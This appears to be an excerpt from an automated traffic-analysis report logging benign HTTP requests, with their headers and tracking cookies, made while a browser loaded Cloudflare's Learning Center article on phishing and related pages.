Source: global traffic	HTTP traffic detected: GET /xdc.js?_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_h=-1777624096&cdn_o=a&jsVer=4.24.10.10 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /u?_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291819&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&rnd=948098&cdn_o=a&_biz_z=1729259291819 HTTP/1.1Host: cdn.bizibly.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=b7928ff53fdb70b96d3df4e60229a0d6
Source: global traffic	HTTP traffic detected: GET /p/insights/t/5268204 HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=18&expiry=1744984093&external_user_id=18ee9fe9-01ca-43a0-b773-2c99f76388ad&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=ZxJnHdHM4LsAAF-6ABBXzAAA; CMPS=1085; CMPRO=1085
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/what-is-identity-and-access-management/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%7D; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _
Source: global traffic	HTTP traffic detected: GET /p/insights/s/0.7.48 HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=189DC320AD6765EE3B4ED63CAC9664F7; MR=0
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=ZxJnHQAAAKUlswN6 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=64977079024833184161452952043619543345; dpm=64977079024833184161452952043619543345
Source: global traffic	HTTP traffic detected: GET /page-data/index/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%7D; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/what-is-sase/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%7D; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&to
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%7D; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252
Source: global traffic	HTTP traffic detected: GET /component---src-components-learning-center-templates-learning-center-article-template-tsx-be49510567670fd8909d.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%7D; AMCVS_8AD56F28618A50850A495FB6
Source: global traffic	HTTP traffic detected: GET /u?mapType=ecid&mapValue=8AD56F28618A50850A495FB6%40AdobeOrg_59028572615554561702300982760543860491&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291822&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&_biz_n=1&rnd=240329&cdn_o=a&_biz_z=1729259293826 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /bg9s?x-amz-cf-id=twqkbrkq8cJbikuKufjQSsYUM1QuSpMqCAhQmWdcTqeAWOXLBmrNWA==&api-version=v3 HTTP/1.1Host: tag-logger.demandbase.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /component---src-components-page-page-template-tsx-d45b6e355a31d828fc9b.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; 